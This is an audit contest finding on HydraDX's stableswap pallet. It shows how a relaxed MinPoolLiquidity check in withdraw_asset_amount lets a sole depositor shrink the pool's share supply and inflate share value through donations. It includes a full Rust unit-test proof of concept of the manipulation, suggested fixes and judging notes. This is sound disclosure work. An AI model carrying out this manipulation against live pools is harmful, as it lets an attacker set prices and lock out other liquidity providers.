MinPoolLiquidity bypass in withdraw_asset_amount makes stableswap vulnerable to sole-depositor manipulation attack

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L677-L681

Vulnerability details

The Omnipool has a MinPoolLiquidity integrity check against the total_issuance of pool shares, to prevent price manipulations:

File: lib.rs
551: 		pub fn remove_liquidity_one_asset(
---
552: 			origin: OriginFor<T>,
553: 			pool_id: T::AssetId,
554: 			asset_id: T::AssetId,
555: 			share_amount: Balance,
556: 			min_amount_out: Balance,
557: 		) -> DispatchResult {
558: 			let who = ensure_signed(origin)?;
---
581: 			let share_issuance = T::Currency::total_issuance(pool_id);
582: 
583: 			ensure!(
584: 				share_issuance == share_amount
585: 					|| share_issuance.saturating_sub(share_amount) >= T::MinPoolLiquidity::get(),
586: 				Error::<T>::InsufficientLiquidityRemaining
587: 			);

This check is however relaxed in the withdraw_asset_amount function, with no check on pool shares issuance, to always allow a given user to redeem the entirety of their shares:

File: lib.rs
638: 		pub fn withdraw_asset_amount(
---
639: 			origin: OriginFor<T>,
640: 			pool_id: T::AssetId,
641: 			asset_id: T::AssetId,
642: 			amount: Balance,
643: 			max_share_amount: Balance,
---
644: 		) -> DispatchResult {
645: 			let who = ensure_signed(origin)?;
---
676: 			let current_share_balance = T::Currency::free_balance(pool_id, &who);
677: 			ensure!(
678: 				current_share_balance == shares
679: 					|| current_share_balance.saturating_sub(shares) >= T::MinPoolLiquidity::get(),
680: 				Error::<T>::InsufficientShareBalance
681: 			);

This relaxed check can be exploited to bring the total_issuance of pool shares below MinPoolLiquidity, potentially down to single digits where the value of shares can can be further inflated with token donations to the pool account, which, unlike omnipools, are not filtered by the application runtime.

Impact

The value of shares of a pool with a single liquidity provider can be manipulated. This will prevent other liquidity providers from entering the pool and allow the single liquidity provider to arbitrarily change the prices of the pool's swaps without risking assets.

Proof of Concept

The following PoC shows how exploiting the withdraw_asset_amount relaxed check and donating tokens to the pool allows extreme share value inflation and arbitrary pool price manipulation, and how entering this situation allows an attacker to keep other liquidity providers out of the pool:

// this test can be run when added in pallets/stableswap/src/tests/add_liquidity.rs
#[test]
fn add_initial_liquidity_price_manipulation() {
	let pool_id: AssetId = 100u32;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE),
			(BOB, 2, 200 * ONE),
			(ALICE, 1, 200 * ONE),
			(ALICE, 2, 200 * ONE),
		])
		.with_registered_asset("pool".as_bytes().to_vec(), pool_id, 12)
		.with_registered_asset("one".as_bytes().to_vec(), 1, 18)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 18)
		.build()
		.execute_with(|| 
			let asset_a: AssetId = 1;
			let asset_b: AssetId = 2;
			let amplification: u16 = 100;

			assert_ok!(Stableswap::create_pool(
				RuntimeOrigin::root(),
				pool_id,
				vec![asset_a, asset_b],
				amplification,
				Permill::from_percent(0),
			));

			// Bob provides 100 * ONE liquidity
			let initial_liquidity_amount = 100 * ONE;

			let pool_account = pool_account(pool_id);

			assert_ok!(Stableswap::add_liquidity(
				RuntimeOrigin::signed(BOB),
				pool_id,
				vec![
					AssetAmount::new(asset_a, initial_liquidity_amount),
					AssetAmount::new(asset_b, initial_liquidity_amount),
				]
			));

			assert_balance!(BOB, asset_a, 100 * ONE);
			assert_balance!(BOB, asset_b, 100 * ONE);
			assert_balance!(BOB, pool_id, 200 * ONE);
			assert_balance!(pool_account, asset_a, 100 * ONE);
			assert_balance!(pool_account, asset_b, 100 * ONE);

			// Alice and Bob are friends, or accounts of the same owner;
            // Bob gives Alice some shares
			let amt1: u128 = 199980001326666;
			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(BOB), 
				ALICE, 
				pool_id, 
				200 * ONE - amt1,
			));

			// Bob redeems most of asset_a,
			// bypassing the MinPoolLiquidity check
			assert_ok!(Stableswap::withdraw_asset_amount(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_a,
				100 * ONE - 1,
				amt1,
			));

			// Alice gives Bob most of their shares back
			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(ALICE), 
				BOB, 
				pool_id, 
				19998673331
			));

			// Bob redeems most of asset_b,
			// bypassing once again the MinPoolLiquidity check
			assert_ok!(Stableswap::withdraw_asset_amount(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_b,
				100 * ONE - 1,
				amt1,
			));

			// Now Alice has `3` shares that correspond to `1 asset_a` and `1 asset_b`
			assert_balance!(ALICE, pool_id, 3);
			assert_balance!(pool_account, asset_a, 1);
			assert_balance!(pool_account, asset_b, 1);

			// And the value of these 3 shares can now be inflated with donations,
            // these are safe for the attacker since she is the only holder of liquidity tokens.
			
			// The arbitrary nature of the donated amount allows the donor to force the spot
			// price they want for the pool
			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(ALICE), 
				pool_account, 
				asset_a, 
				100 * ONE
			));

			assert_ok!(Tokens::transfer(
				RuntimeOrigin::signed(ALICE), 
				pool_account, 
				asset_b, 
				100 * ONE
			));

			// At this point, another user comes in and adds tokens to the pool
			// we reuse BOB for simplicity; the operation fails
			assert_noop!(Stableswap::add_liquidity(
				RuntimeOrigin::signed(BOB), 
				pool_id, 
				vec![
					AssetAmount::new(asset_a, initial_liquidity_amount),
					AssetAmount::new(asset_b, initial_liquidity_amount),
				]
			), Error::<Test>::InsufficientShareBalance);
		);
}

Tools Used

Code review, unit tests

Recommended Mitigation Steps

• enforcing the MinPoolLiquidity on total_issuance also on withdraw_asset_amount
• to facilitate withdrawals from deprecated pools, the check can be safely relaxed limitedly to pools that have only the REMOVE_LIQUIDITY flag set, so trading won't happen on manipulated pools
• adding a runtime filter to token donations to Stableswap pool accounts in analogy with Omnipool account

Assessed type

Invalid Validation

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #154

[c4-judge]

OpenCoreCH marked the issue as satisfactory

[c4-judge]

OpenCoreCH changed the severity to 2 (Med Risk)